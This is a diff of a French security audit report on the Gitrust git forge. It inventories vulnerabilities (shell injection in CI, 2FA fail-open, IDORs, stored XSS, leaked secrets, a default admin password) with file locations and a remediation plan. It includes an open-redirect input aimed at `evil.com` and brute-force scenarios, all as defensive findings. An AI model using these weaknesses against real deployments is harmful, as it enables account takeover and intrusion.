| 171 | + Err(e) => { tracing::error!("Failed to check TOTP status: {e}"); } // ← puis JWT délivré | |
| 172 | + _ => {} | |
| 173 | +} | |
| 174 | +``` | |
| 175 | + | |
| 176 | +Toute erreur SQL — saturation du pool, indisponibilité passagère — délivre un JWT complet sans | |
| 177 | +second facteur. Or `POST /login` **n'a aucun rate limiting** (le limiteur du framework ne couvre | |
| 178 | +que `/api/v1/auth/login`, et nginx n'en pose aucun), ce qui donne précisément le moyen de | |
| 179 | +provoquer cette saturation. | |
| 180 | + | |
| 181 | +Ensuite, l'anti-brute-force TOTP est inopérant : il ne compte que les challenges **saturés** | |
| 182 | +(`attempts >= 5`). S'arrêter à 4 essais puis redemander un challenge n'est jamais comptabilisé, | |
| 183 | +donc le nombre de tentatives est illimité. Le second facteur se réduit à un délai. | |
| 184 | + | |
| 185 | +### Scénario E — Le mot de passe `password` (C-6) | |
| 186 | + | |
| 187 | +Le plus simple, et le plus dommageable en démonstration. L'empreinte SHA-256 de | |
| 188 | +`ADMIN_PASSWORD` dans `.env`, `.env.production`, `.env.local` et `deployment/.env_nuage` est | |
| 189 | +`5e884898da28…`, soit la chaîne `password`. Le compte administrateur créé au premier démarrage | |
| 190 | +est protégé par le mot de passe le plus testé au monde, sur un service écoutant en `0.0.0.0`. | |
| 191 | +Le rate limiting ne protège pas contre une tentative unique et correcte. | |
| 192 | + | |
| 193 | +--- | |
| 194 | + | |
| 195 | +## 3. Inventaire des constats | |
| 196 | + | |
| 197 | +### 3.1 Critiques | |
| 198 | + | |
| 199 | +| ID | Constat | Fichier:ligne | Confiance | | |
| 200 | +|---|---|---|---| | |
| 201 | +| C-1 | RCE via `username` interpolé dans `sh -c` (CI) | `gitrust-core/src/services/ci_worker.rs:380` | confirmé | | |
| 202 | +| C-2 | `remove_dir_all` sans validation dans `on_user_deleted` | `gitrust-hooks/src/lib.rs:221` | confirmé | | |
| 203 | +| C-3 | Fusion de PR sans contrôle d'écriture (API) | `gitrust-web/src/handlers/api/pulls.rs:190` | confirmé | | |
| 204 | +| C-4 | Secrets de production dans l'historique Git | commits `91ff499`, `20dbf23` | confirmé | | |
| 205 | +| C-5 | Mot de passe PG + clé OAuth de prod dans `.env.test` versionné | `.env.test:6`, `:60` | confirmé | | |
| 206 | +| C-6 | `ADMIN_PASSWORD=password` | 4 fichiers d'environnement | confirmé | | |
| 207 | +| C-7 | Placeholder `JWT_SECRET` valide + promu par `deploy.sh` | `.env.example:99`, `deployment/deploy.sh:417` | confirmé | | |
| 208 | +| C-8 | Dump SQL 22 Mo non gitignoré | `Services/gitrust-backup-2026-05-28-2211.sql` | confirmé | | |
| 209 | + | |
| 210 | +### 3.2 Élevées | |
| 211 | + | |
| 212 | +| ID | Constat | Fichier:ligne | | |
| 213 | +|---|---|---| | |
| 214 | +| E-1 | Fail-open du contrôle 2FA au login SSR | `handlers/auth.rs:144` | | |
| 215 | +| E-2 | Aucun rate limiting sur `POST /login` | `handlers/auth.rs:85` | | |
| 216 | +| E-3 | Anti-brute-force TOTP inopérant (compte les challenges saturés) | `rustwarden-core/.../totp_service.rs:289` *(upstream)* | | |
| 217 | +| E-4 | Vérification email contournée : login SSR ignore `EMAIL_VALIDATION_REQUIRED`, inscription sans mail | `handlers/auth.rs:85`, `:430` | | |
| 218 | +| E-5 | XSS stockée via nom de label dans `onclick` | `templates/repository/issue_detail.html:146`, `fragments/labels_suggest.html:7` | | |
| 219 | +| E-6 | XSS stockée via nom d'utilisateur dans `onsubmit` | `templates/admin/user_detail.html:126`, `repository/settings.html:95` | | |
| 220 | +| E-7 | Écritures issues/PR gardées par un droit de lecture (9 handlers) | `issues.rs:190,316,356,382` · `pull_requests.rs:193,630,658` · `api/issues.rs:209` · `api/pulls.rs:298` | | |
| 221 | +| E-8 | Scopes de PAT jamais appliqués (`api:read` écrit, `git:read` pousse) | `extractors/api_auth.rs:106`, `git_http.rs:431` | | |
| 222 | +| E-9 | IDOR : édition/suppression de labels d'autres dépôts | `handlers/labels.rs:174,246` + `label_service.rs:262,319` | | |
| 223 | +| E-10 | IDOR : logs CI d'un dépôt privé lisibles depuis un autre dépôt | `handlers/ci.rs:116,179` | | |
| 224 | +| E-11 | IDOR : suppression de variable CI d'un autre dépôt | `handlers/ci.rs:543` | | |
| 225 | +| E-12 | CVE `russh` 0.58 exploitables **avant authentification** (port 2222) | RUSTSEC-2026-0154 / -0153, CVSS 7.5 | | |
| 226 | +| E-13 | Création de répertoire arbitraire non authentifiée à l'inscription | `handlers/auth.rs:442`, `admin_users.rs:505` | | |
| 227 | +| E-14 | Absence de timeout et de limite de taille sur les sous-processus git | `pack_protocol.rs:117`, `gitrust-ssh/src/session.rs:441` | | |
| 228 | +| E-15 | `.env` distant jamais mis en `chmod 600` | `deployment/deploy.sh:414` | | |
| 229 | +| E-16 | `APP_DEBUG=true` en production → cookies sans `Secure` | `.env`, `.env.production`, `deployment/.env_nuage` | | |
| 230 | +| E-17 | Certificat TLS « snakeoil » actif dans la conf nginx livrée | `deployment/nginx-gitrust.conf:57` | | |
| 231 | +| E-18 | PostgreSQL exposé en `0.0.0.0:5432` avec mot de passe de repli | `database/docker-compose.yml:19` | | |
| 232 | +| E-19 | Secrets de l'hôte exposés au build CI ; runner colocalisé par défaut | `config.rs:189` (`CI_REMOTE_HOST=localhost`) | | |
| 233 | + | |
| 234 | +### 3.3 Moyennes (sélection) | |
| 235 | + | |
| 236 | +| ID | Constat | Fichier:ligne | | |
| 237 | +|---|---|---| | |
| 238 | +| M-1 | `username` non validé (cause racine de C-1, C-2, E-6, E-13) | `handlers/auth.rs:391`, `user_service.rs:32` *(upstream)* | | |
| 239 | +| M-2 | Politique de mot de passe non appliquée à l'inscription ni au reset | `handlers/auth.rs:411`, `password_reset_service.rs:233` | | |
| 240 | +| M-3 | Rate limiting des emails inerte (service réinstancié à chaque requête) | `handlers/password_reset.rs:65`, `email_verify.rs:44` | | |
| 241 | +| M-4 | Aucune ré-authentification pour désactiver le 2FA, changer l'email, ajouter une clé SSH | `handlers/security.rs:187,230` | | |
| 242 | +| M-5 | Changement d'email conserve le statut « vérifié », sans notification | `user_service.rs:190` *(upstream)* | | |
| 243 | +| M-6 | Logout SSR ne révoque pas le JWT d'accès | `handlers/auth.rs:310` | | |
| 244 | +| M-7 | Aucun anti-rejeu du code TOTP (fenêtre ~90 s) | `totp_service.rs:395` *(upstream)* | | |
| 245 | +| M-8 | `bcrypt::verify` synchrone sur les codes de secours → saturation du runtime | `totp_service.rs:190` *(upstream)* | | |
| 246 | +| M-9 | Squat d'empreinte de clé SSH + oracle d'existence | `ssh_key_service.rs:83` | | |
| 247 | +| M-10 | CSP neutralisée par `unsafe-inline` ; `unsafe-eval` inutile | `rustwarden-core/src/app.rs:810` *(upstream)* | | |
| 248 | +| M-11 | Redirection ouverte via `/login?redirect=/\evil.com` | `handlers/auth.rs:604` | | |
| 249 | +| M-12 | IDOR : labels arbitraires assignables à la création d'une issue | `handlers/issues.rs:192` | | |
| 250 | +| M-13 | `grant_team_access` accepte n'importe quel `team_id` | `handlers/collaborators.rs:299` | | |
| 251 | +| M-14 | Énumération de dépôts privés (401 vs 404, HTTP et Git) | `helpers.rs:350`, `git_http.rs:363` | | |
| 252 | +| M-15 | Sous-processus git sans nettoyage d'environnement | `gitrust-ssh/src/session.rs:580`, `pack_protocol.rs:84` | | |
| 253 | +| M-16 | SSRF : validation d'URL sensible au DNS rebinding et aux redirections | `gitrust-git/src/remote.rs:40` | | |
| 254 | +| M-17 | Rendu Markdown/syntect sans plafond de taille (DoS CPU) | `highlight.rs`, `issue_service.rs:37` | | |
| 255 | +| M-18 | Store mémoire ssh-guard non borné entre deux purges horaires | `gitrust-ssh-guard/src/store/memory.rs:37` | | |
| 256 | +| M-19 | `SSH_GUARD_MAX_CONCURRENT_PER_IP` défini mais jamais utilisé | `config.rs:324` | | |
| 257 | +| M-20 | `setup-remote-ci.sh` : `curl \| sh` non vérifié, `source` du `.env` | `deployment/setup-remote-ci.sh:19,61,73` | | |
| 258 | +| M-21 | Durcissement systemd incomplet ; `CAP_NET_BIND_SERVICE` inutile | `deployment/gitrust.service:17` | | |
| 259 | +| M-22 | Image Docker : Syft installé depuis `main`, pas d'épinglage, pas de healthcheck | `docker/Dockerfile:55` | | |
| 260 | +| M-23 | Mot de passe PG en dur dans une couche d'image | `docker/Dockerfile:84` | | |
| 261 | +| M-24 | Nettoyage distant du workspace CI jamais awaité (fuite entre tenants) | `ci_worker.rs:507` | | |
| 262 | +| M-25 | Fichier versionné au nom trompeur de clé privée | `deployment/root@gitrust.ebii.fr` | | |
| 263 | +| M-26 | Ajout à une équipe sans consentement du membre | `handlers/user_teams.rs:181` | | |
| 264 | + | |
| 265 | +### 3.4 Faibles et informatifs (sélection) | |
| 266 | + | |
| 267 | +`must_change_password` jamais appliqué sur les pages SSR (`src/main.rs:490`) · 2FA obligatoire | |
| 268 | +non appliqué aux chemins API · `GET /logout` déconnectable par requête intersite · refresh | |
| 269 | +token SSR jamais rotaté (arbitrage documenté) · PAT créés depuis l'UI avec tous les scopes | |
| 270 | +(`tokens.rs:41`) · pas de `session.cycle_id()` à la connexion · bootstrap admin sans complexité | |
| 271 | +imposée · reset de mot de passe ne révoque ni PAT ni clés SSH · formulaire de suppression | |
| 272 | +d'utilisateur sans jeton CSRF (fonctionnalité cassée, pas une brèche) · en-têtes COOP/COEP/CORP | |
| 273 | +absents · XSS de rôle dans un `confirm()` (admin uniquement) · couleur de label non validée en | |
| 274 | +hexadécimal · attribut `class` arbitraire autorisé dans le Markdown · `Cache-Control: no-store` | |
| 275 | +absent sur les dépôts privés · secrets CI sérialisés en clair par l'API · `deploy_ebii.conf` | |
| 276 | +versionné (topologie) · `.dockerignore` incomplet · `RUST_LOG=debug` en production · journal | |
| 277 | +d'audit non inviolable. | |
| 278 | + | |
| 279 | +### 3.5 Dépendances — `cargo audit` | |
| 280 | + | |
| 281 | +**15 vulnérabilités, 7 avertissements.** Les cinq qui comptent pour cette architecture : | |
| 282 | + | |
| 283 | +| Avis | Paquet | CVSS | Pourquoi c'est pertinent ici | | |
| 284 | +|---|---|---|---| | |
| 285 | +| RUSTSEC-2026-0154 / -0153 | `russh`, `russh-cryptovec` 0.58.0 | 7.5 | Port SSH 2222 exposé, atteignable **sans authentification** | | |
| 286 | +| RUSTSEC-2026-0258 | `h2` 0.4.13 | — | Trames DATA vides non bornées, serveur HTTP | | |
| 287 | +| RUSTSEC-2026-0285 | `rustls` 0.23.37 | 5.3 | Messages TLS 1.3 acceptés hors niveau de chiffrement | | |
| 288 | +| RUSTSEC-2026-0199 | `bcrypt` 0.19.0 | 5.3 | Panique sur hash non-ASCII, chemin d'authentification | | |
| 289 | +| RUSTSEC-2026-0183 / -0184 | `git2` 0.20.4 | — | Comportement indéfini potentiel en FFI | | |
| 290 | + | |
| 291 | +**Note sur `ammonia` 4.1.2** (RUSTSEC-2026-0213 et -0193) : vérification faite, **ces deux avis | |
| 292 | +ne sont pas exploitables ici**. Ils exigent l'autorisation explicite des balises SVG | |
| 293 | +(`animate`, `set`) ou MathML (`annotation-xml`), et la configuration de `highlight.rs:94` | |
| 294 | +n'ajoute que `details`, `summary` et `kbd` à l'allowlist par défaut, qui ne les contient pas. | |
| 295 | +Mise à jour recommandée par hygiène, sans urgence. | |
| 296 | + | |
| 297 | +Correctif global : `russh ≥ 0.60.3`, `h2 ≥ 0.4.16`, `rustls ≥ 0.23.45`, `bcrypt ≥ 0.19.2`, | |
| 298 | +`quick-xml ≥ 0.41.0`, `quinn-proto ≥ 0.11.15`, `ammonia ≥ 4.1.4`. | |
| 299 | + | |
| 300 | +--- | |
| 301 | + | |
| 302 | +## 4. Analyses transverses | |
| 303 | + | |
| 304 | +### 4.1 Ce qui est réellement solide | |
| 305 | + | |
| 306 | +Il serait injuste de laisser les constats ci-dessus masquer un socle sérieux. Ces points sont | |
| 307 | +des arguments défendables face à un prospect ou un auditeur. | |
| 308 | + | |
| 309 | +**Les invariants ANSSI annoncés sont tenus.** Les 35 directives | |
| 310 | +`#[allow(clippy::unwrap_used, …)]` des crates `gitrust-*` sont **toutes** cantonnées à des | |
| 311 | +modules `#[cfg(test)]`. Aucun `panic!`, `unreachable!` ni indexation directe atteignable depuis | |
| 312 | +une entrée utilisateur. `#![forbid(unsafe_code)]` est effectif sur core/web/hooks/ssh-guard, | |
| 313 | +`deny` sur git/ssh, et **aucun bloc `unsafe` n'existe dans le code du projet**. Pour un projet | |
| 314 | +de 64 000 lignes, c'est remarquable — et c'est exactement le genre d'affirmation qu'un audit | |
| 315 | +tiers vérifiera. | |
| 316 | + | |
| 317 | +**Aucune injection SQL.** Recherche exhaustive de `Statement::from_string`, | |
| 318 | +`from_sql_and_values`, `raw_sql`, `execute_unprepared` et des `format!` de requêtes : le seul | |
| 319 | +SQL brut est dans les migrations, avec des littéraux statiques. Tous les accès applicatifs | |
| 320 | +passent par SeaORM paramétré, y compris la recherche et le tri. | |
| 321 | + | |
| 322 | +**Une porte unique pour la lecture des dépôts.** Tous les chemins de lecture passent par | |
| 323 | +`resolve_repo_access` (`helpers.rs:300`). Aucun handler de lecture ne la contourne : | |
| 324 | +arborescence, blob, commits, diff, branches, tags, issues, PR, CI, sécurité. **La fuite de | |
| 325 | +dépôt privé par le contenu lui-même n'existe pas** ; les deux fuites relevées (E-10, M-14) | |
| 326 | +passent par des ressources satellites ou le canal d'erreur. | |
| 327 | + | |
| 328 | +**Aucune route « raw ».** Il n'existe aucun point d'accès servant le contenu brut d'un blob, ni | |
| 329 | +aucun upload d'avatar ou de pièce jointe. Le vecteur XSS stockée le plus classique d'une forge | |
| 330 | +— servir un SVG hostile depuis l'origine — est structurellement fermé. | |
| 331 | + | |
| 332 | +**CSRF réellement robuste.** Jeton de 32 octets lié à la session, comparaison en temps constant | |
| 333 | +via `subtle`, méthodes sûres exemptées, corps bufferisé et rejoué. La séparation | |
| 334 | +`browser_routes` / `machine_routes` est rigoureuse : l'API JSON n'accepte **que** l'en-tête | |
| 335 | +`Authorization`, sans repli sur cookie, ce qui rend le contournement par Bearer inoffensif. Les | |
| 336 | +tests vérifient aussi le rejet d'un jeton *falsifié*, pas seulement absent. | |
| 337 | + | |
| 338 | +**Gestion des secrets d'authentification exemplaire.** Aucun secret stocké en clair : PAT et | |
| 339 | +refresh tokens en SHA-256, jetons de reset en SHA-256 d'un UUID v4, secrets TOTP chiffrés en | |
| 340 | +AES-256-GCM. `PersonalTokenService::verify` compare en temps constant. Les newtypes `TokenHash` | |
| 341 | +et `PlainToken` sont zeroizés et leur `Display` est rédigé. `AuthService` vérifie un | |
| 342 | +`DUMMY_HASH` même pour un identifiant inexistant, fermant l'énumération temporelle. | |
| 343 | + | |
| 344 | +**PROXY protocol correctement verrouillé.** L'en-tête n'est accepté que d'un pair figurant dans | |
| 345 | +`trusted_proxies`, et le démarrage **échoue** si le PROXY est activé sans allowlist | |
| 346 | +(`ssh-guard/src/config.rs:567`). L'usurpation d'IP pour contourner un ban est fermée — c'est le | |
| 347 | +piège classique de ce type de couche, évité. | |
| 348 | + | |
| 349 | +**Sous-processus git en argv natif.** `pack_protocol`, `session.rs` et `sbom_service` | |
| 350 | +n'utilisent pas de shell, allowlistent strictement les services (`git-upload-pack`, | |
| 351 | +`git-receive-pack`) et refusent le shell interactif. `ci_worker` est la seule exception — d'où | |
| 352 | +C-1. | |
| 353 | + | |
| 354 | +**Chaîne Markdown correcte.** pulldown-cmark laisse passer le HTML brut, mais `render_markdown` | |
| 355 | +termine par `ammonia::clean` avec une allowlist proche du défaut. Les schémas `javascript:` et | |
| 356 | +`data:` sont rejetés, `rel="noopener noreferrer"` est ajouté automatiquement. Le filtrage des | |
| 357 | +`style=` de syntect est soigné, avec des tests couvrant `url(javascript:…)` et `expression(…)`. | |
| 358 | +Les dix occurrences de `|safe` ont été inventoriées : **aucune n'est dangereuse**. | |
| 359 | + | |
| 360 | +**Journalisation propre.** Aucun mot de passe, jeton, en-tête `Authorization` ni cookie écrit | |
| 361 | +dans les journaux. Aucun `println!` ni `dbg!` résiduel. Les erreurs de base renvoient un message | |
| 362 | +générique au client, le détail restant côté serveur. | |
| 363 | + | |
| 364 | +**Défauts fonctionnels prudents.** Inscription fermée, validation d'email requise, rate | |
| 365 | +limiting configuré, `SSH_GUARD_ENABLED=true` avec `SSH_GUARD_DRY_RUN=false`, `COOKIE_SECURE` | |
| 366 | +forcé dès que `APP_DEBUG=false` (avec journalisation de l'override ignoré), `SameSite=Strict` | |
| 367 | +par défaut, empreintes de clés SSH uniques globalement, RSA ≥ 4096 bits. | |
| 368 | + | |
| 369 | +Les commentaires `SEC-*` disséminés dans le code attestent d'un travail de durcissement | |
| 370 | +antérieur méthodique. Les constats de ce rapport sont des **oublis ponctuels dans une | |
| 371 | +architecture saine**, pas le symptôme d'une conception négligente. | |
| 372 | + | |
| 373 | +### 4.2 Le motif d'erreur dominant : la garde manquante sur une seule branche | |
| 374 | + | |
| 375 | +Six constats parmi les plus graves suivent exactement le même schéma : **le contrôle de | |
| 376 | +sécurité existe, il est correctement écrit, mais une seule branche du code l'a oublié.** | |
| 377 | + | |
| 378 | +| Constat | Où le contrôle existe | Où il manque | | |
| 379 | +|---|---|---| | |
| 380 | +| C-1 | `sbom_service.rs:211` (argv natif, `commit_sha` validé) | `ci_worker.rs:380` (`sh -c`) | | |
| 381 | +| C-2 | `on_user_registered` (valide `..`, `/`, `\`) | `on_user_deleted` (rien) | | |
| 382 | +| C-3 | `pull_requests.rs:494` (SSR, `can_manage`) | `api/pulls.rs:190` (API, rien) | | |
| 383 | +| E-10 | `api/ci.rs:223` (vérifie l'appartenance) | `ci.rs:116` (SSR, rien) | | |
| 384 | +| E-11 | `api/ci.rs:542` (vérifie le scope) | `ci.rs:543` (SSR, rien) | | |
| 385 | +| M-12 | `issue_labels.rs:56` (intersecte les IDs autorisés) | `issues.rs:192` (rien) | | |
| 386 | + | |
| 387 | +**Conséquence pratique** : les correctifs consistent à **généraliser des motifs déjà écrits et | |
| 388 | +testés dans le dépôt**, pas à concevoir une nouvelle mécanique. Le risque de régression est | |
| 389 | +faible. | |
| 390 | + | |
| 391 | +**Conséquence méthodologique** : ce motif se reproduira tant que les gardes seront appelées | |
| 392 | +*dans le corps* des handlers plutôt que portées par le type. Un oubli ne produit alors aucune | |
| 393 | +erreur de compilation. La correction structurante consiste à enrichir `ResolvedRepo` et | |
| 394 | +`ApiRepoContext` d'un champ `can_push` et à exiger un extracteur typé pour les routes mutantes. | |
| 395 | + | |
| 396 | +### 4.3 Note sur la CI : le modèle de menace mérite d'être explicité | |
| 397 | + | |
| 398 | +Une CI exécute du code arbitraire **par conception** — ce n'est pas une vulnérabilité. Le | |
| 399 | +problème est ailleurs, et il est double. | |
| 400 | + | |
| 401 | +D'abord, C-1 fait sortir l'exécution du périmètre prévu : elle a lieu sur l'hôte de la forge, | |
| 402 | +pas sur le runner. L'isolation architecturale est contournée avant même d'entrer en jeu. | |
| 403 | + | |
| 404 | +Ensuite, `CI_REMOTE_HOST=localhost` est le **défaut** (`config.rs:189`), et | |
| 405 | +`docs/CI_REMOTE_RUNNER.md` le présente comme valable pour « dev, petites prods ». Dans ce mode, | |
| 406 | +le `dagger call` s'exécute sur la machine Gitrust, et Dagger requiert l'accès au socket Docker | |
| 407 | +— c'est-à-dire root sur l'hôte. Le code CI d'un utilisateur quelconque peut alors monter | |
| 408 | +`GIT_REPOS_BASE_PATH` et lire tous les dépôts privés. La documentation recommande bien | |
| 409 | +l'isolation, mais **rien dans le code ne l'impose et le défaut la viole**. | |
| 410 | + | |
| 411 | +Recommandation : refuser `localhost` lorsque `APP_DEBUG=false`, ou au minimum émettre un | |
| 412 | +avertissement de démarrage explicite. Documenter que le runner doit être une machine séparée, | |
| 413 | +sans accès aux secrets ni aux dépôts. | |
| 414 | + | |
| 415 | +--- | |
| 416 | + | |
| 417 | +## 5. Plan de remédiation | |
| 418 | + | |
| 419 | +### Immédiat — avant toute démonstration ou remise à un tiers | |
| 420 | + | |
| 421 | +| Action | Constats fermés | Effort | | |
| 422 | +|---|---|---| | |
| 423 | +| **Faire tourner tous les secrets** : `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD`, `SMTP_PASSWORD`, `OAUTH_ENCRYPTION_KEY` — production **et** démo. Puis purger `refresh_tokens` et `sessions`. | C-4, C-5, C-6 | 1 h | | |
| 424 | +| **Déplacer le dump SQL** hors du dépôt, en `chmod 600`, et durcir `.gitignore` (`*.sql`, `/Services/`). | C-8 | 15 min | | |
| 425 | +| **Valider `username`** : newtype sur le modèle de `RepoSlug` (`^[a-z0-9-]{3,39}$`, pas de tiret en tête/queue, noms réservés), appliqué à `register_submit`, à la route API, à `update_profile` et à `admin_users`. | C-1, C-2, E-6, E-13, M-1 | 2 h | | |
| 426 | +| **Supprimer le `sh -c`** de `prepare_workspace` : chaîner `git archive` et `tar` en argv natif, comme `sbom_service.rs:211`. Valider `commit_sha` en `^[0-9a-f]{40}$`. | C-1, CI-04 | 1 h | | |
| 427 | +| **Ajouter `can_manage` à `merge_pull`** (API). Trois lignes. | C-3 | 15 min | | |
| 428 | +| **Valider le chemin dans `on_user_deleted`** : même contrôle que `on_user_registered`, plus vérification de containment après canonicalisation. | C-2 | 30 min | | |
| 429 | +| **Vider `JWT_SECRET` dans `.env.example`** et rejeter au démarrage tout secret contenant `REMPLACER`, `CHANGE`, `EXAMPLE`, `TODO`. Faire échouer `deploy.sh` au lieu de promouvoir `.env.example`. | C-7 | 1 h | | |
| 430 | + | |
| 431 | +### Sous 48 heures | |
| 432 | + | |
| 433 | +- **Réécrire l'historique Git** (`git filter-repo --path .env.gitrustmule --path .env.test --invert-paths`), forcer la mise à jour des distants, demander la recréation de tous les clones. *À arbitrer selon le nombre de clones existants.* — **C-4, C-5** | |
| 434 | +- Retirer `.env.test` du suivi, le remplacer par un `.env.test.example` à valeurs ostensiblement factices. — **C-5** | |
| 435 | +- `APP_DEBUG=false` et `COOKIE_SECURE=true` sur toutes les instances servies en TLS. — **E-16** | |
| 436 | +- Activer le certificat Let's Encrypt par défaut dans la conf nginx. — **E-17** | |
| 437 | +- `chmod 600` sur le `.env` distant et sur la clé hôte SSH dans `deploy.sh`. — **E-15** | |
| 438 | +- `cargo update` : `russh ≥ 0.60.3` en priorité (pré-authentification), puis `h2`, `rustls`, `bcrypt`. — **E-12** | |
| 439 | +- Restreindre PostgreSQL à `127.0.0.1:5432` et rendre `POSTGRES_PASSWORD` obligatoire (`:?`). — **E-18** | |
| 440 | + | |
| 441 | +### Sous une semaine | |
| 442 | + | |
| 443 | +- **Ajouter `can_push` à `ResolvedRepo` et `ApiRepoContext`**, puis appliquer la garde aux neuf handlers d'écriture. C'est le correctif structurant : il supprime la cause racine plutôt que ses symptômes. — **E-7** | |
| 444 | +- Sortir les valeurs dynamiques des attributs `onclick`/`onsubmit` vers des attributs `data-*` lus par délégation d'événement. Restreindre `validate_label_name` à un jeu de caractères sûr. — **E-5, E-6** | |
| 445 | +- Porter les scopes dans `ApiUser`, exiger `GitWrite` strict sur `git-receive-pack`, exposer la sélection de scope à la création de PAT. — **E-8** | |
| 446 | +- Passer le périmètre (`owner_id`, `repo_id`) dans les signatures de `LabelService`, `CiService` et `CiVariableService`, et filtrer en SQL. — **E-9, E-10, E-11, M-12** | |
| 447 | +- Faire échouer en mode fermé le contrôle 2FA, et poser un `RateLimitService` statique sur `POST /login` (clé IP **et** clé identifiant) et sur `POST /login/2fa`. — **E-1, E-2, E-3** | |
| 448 | +- Brancher la vérification d'email sur le login SSR et envoyer le mail de validation à l'inscription. — **E-4** | |
| 449 | +- Retirer `'unsafe-eval'` de la CSP (aucun impact fonctionnel constaté), corriger la redirection ouverte (`\` traité comme `/`). — **M-10, M-11** | |
| 450 | +- Timeouts sur les sous-processus git, `DefaultBodyLimit` explicite, brancher `SSH_GUARD_MAX_CONCURRENT_PER_IP`. — **E-14, M-19** | |
| 451 | + | |
| 452 | +### Sous un mois | |
| 453 | + | |
| 454 | +- Externaliser les 7 blocs `<script>` inline, puis retirer `'unsafe-inline'` de `script-src`. | |
| 455 | +- Compléter le durcissement systemd (`CapabilityBoundingSet=`, `SystemCallFilter`, `RestrictAddressFamilies`, `MemoryMax`), retirer `CAP_NET_BIND_SERVICE`. | |
| 456 | +- Fiabiliser `setup-remote-ci.sh` : empreintes SHA-256 épinglées au lieu de `curl | sh`, parsing du `.env` au lieu de `source`. | |
| 457 | +- Épingler les images Docker par empreinte, ajouter les healthchecks, retirer `DATABASE_URL` du `ENV` du Dockerfile. | |
| 458 | +- Ré-authentification (« sudo mode ») pour désactiver le 2FA, changer l'email, ajouter une clé SSH, créer un PAT. Confirmation par email du changement d'adresse. | |
| 459 | +- Refuser `CI_REMOTE_HOST=localhost` en production, ou avertir bruyamment. | |
| 460 | +- Uniformiser les réponses d'erreur sur 404 pour fermer l'énumération de dépôts privés. | |
| 461 | +- Rendre `cargo audit --deny warnings` bloquant dans le pipeline Dagger, et ajouter `gitleaks` ou `trufflehog`. | |
| 462 | +- Ajouter un test qui échoue sur tout `<form method="post">` dépourvu de `csrf_token`. | |
| 463 | + | |
| 464 | +--- | |
| 465 | + | |
| 466 | +## 6. Limites de cet audit | |
| 467 | + | |
| 468 | +**Analyse statique exclusivement.** Aucun scénario n'a été rejoué contre une instance en | |
| 469 | +fonctionnement. Les niveaux de confiance « confirmé » signifient « établi par lecture du code | |
| 470 | +et de ses appelants », pas « exploité en conditions réelles ». Les constats C-1, C-3, E-1, E-5 | |
| 471 | +et E-6 se prêtent bien à des tests d'intégration de non-régression, un par scénario — c'est la | |
| 472 | +suite logique de ce rapport. | |
| 473 | + | |
| 474 | +**Fédération ActivityPub exclue** sur consigne. Attention toutefois : `AccessService` expose | |
| 475 | +des variantes `*_for_identity` acceptant `Identity::Remote`, et `git_http.rs` route les PAT | |
| 476 | +`rwfed_pat_*` vers un vérificateur distinct. La frontière entre les deux mondes est perméable, | |
| 477 | +et les correctifs de E-7 et E-8 devront traiter les deux formes d'identité. Un audit dédié | |
| 478 | +reste nécessaire, d'autant que trois gabarits fediverse ont été repérés sans jeton CSRF. | |
| 479 | + | |
| 480 | +**Valeurs de production non vérifiées.** `.env.production` de l'instance `gitrust.nuage.ebii` | |
| 481 | +n'est pas dans le dépôt. Les valeurs effectives de `APP_DEBUG`, `COOKIE_SECURE` et | |
| 482 | +`CORS_ALLOWED_ORIGINS` sur la machine cible restent à confirmer. E-15, E-16 et E-18 en dépendent | |
| 483 | +directement. | |
| 484 | + | |
| 485 | +**Non examinés** : règles fail2ban, module Dagger `.dagger/`, profils `ci-engine/profiles/`, | |
| 486 | +dépendances npm (`npm audit` non exécuté), sûreté de Mermaid face à un diagramme hostile, | |
| 487 | +privilèges PostgreSQL effectifs du rôle applicatif, contenu réel du dump SQL (volontairement | |
| 488 | +non lu, seuls les blocs `COPY` ont été comptés). | |
| 489 | + | |
| 490 | +**Framework `rustwarden-core`** inspecté en lecture seule et uniquement sur les points | |
| 491 | +directement pertinents. Neuf constats en relèvent (marqués *upstream*) et doivent être soit | |
| 492 | +contournés côté gitrust par wrapper, soit remontés en amont, conformément à la règle de | |
| 493 | +non-modification. | |
| 494 | + | |
| 495 | +--- | |
| 496 | + | |
| 497 | +## 7. Traçabilité | |
| 498 | + | |
| 499 | +Audit réalisé par six analyses parallèles spécialisées, dont les constats les plus graves ont | |
| 500 | +été revérifiés manuellement sur le code source : | |
| 501 | + | |
| 502 | +| Volet | Constats | Vérification manuelle | | |
| 503 | +|---|---|---| | |
| 504 | +| Authentification et identité | 23 | fail-open 2FA, absence de validation `username` | | |
| 505 | +| Autorisation, IDOR, visibilité | 11 | `resolve_api_repo`, `merge_pull` | | |
| 506 | +| Accès Git (HTTP, SSH, ssh-guard) | 16 | `on_user_deleted`, `compute_disk_path` | | |
| 507 | +| Injections, CI, SSRF, SQL | 16 | `sh -c` de `prepare_workspace` | | |
| 508 | +| XSS, CSRF, en-têtes, CSP | 11 | attributs `onclick`/`onsubmit`, configuration ammonia | | |
| 509 | +| Configuration, déploiement, secrets | 18 | empreintes `ADMIN_PASSWORD`, historique Git, `.env.test` | | |
| 510 | + | |
| 511 | +`cargo audit` exécuté le 17 septembre 2026 : 15 vulnérabilités, 7 avertissements. |
A
docs/UPSTREAM_RUSTWARDEN copy.md
+711
-0
@@ -0,0 +1,711 @@
| 1 | +# Notes sur l'utilisation de RustWarden-core dans Gitrust | |
| 2 | + | |
| 3 | +Ce fichier documente les interactions entre Gitrust et le framework RustWarden-core. | |
| 4 | + | |
| 5 | +## Services framework utilises | |
| 6 | + | |
| 7 | +| Service | Usage dans Gitrust | | |
| 8 | +|---------|-------------------| | |
| 9 | +| `UserService` | CRUD users, roles, `delete_user`, `admin_reset_password`, `change_password_direct`, `unassign_role_from_user` | | |
| 10 | +| `RoleService` | Liste/creation/suppression roles, `get_role_by_name` | | |
| 11 | +| `PasswordService` | `hash_password` (async), `verify_password` (async), `generate_secure_password` | | |
| 12 | +| `ResourceService` | `register`/`unregister` repos, `set_public`, `effective_permission`, `find_by_type_and_id` | | |
| 13 | +| `AuthService` | `authenticate_user` (login) | | |
| 14 | +| `JwtService` | `generate_token` (login) | | |
| 15 | +| `EmailValidationService` | Verification email | | |
| 16 | +| `PasswordResetService` | Flux "mot de passe oublie" | | |
| 17 | +| `AppSettingsService` | `get_bool` pour `registration_enabled` | | |
| 18 | + | |
| 19 | +## Hook `on_user_deleted` implemente | |
| 20 | + | |
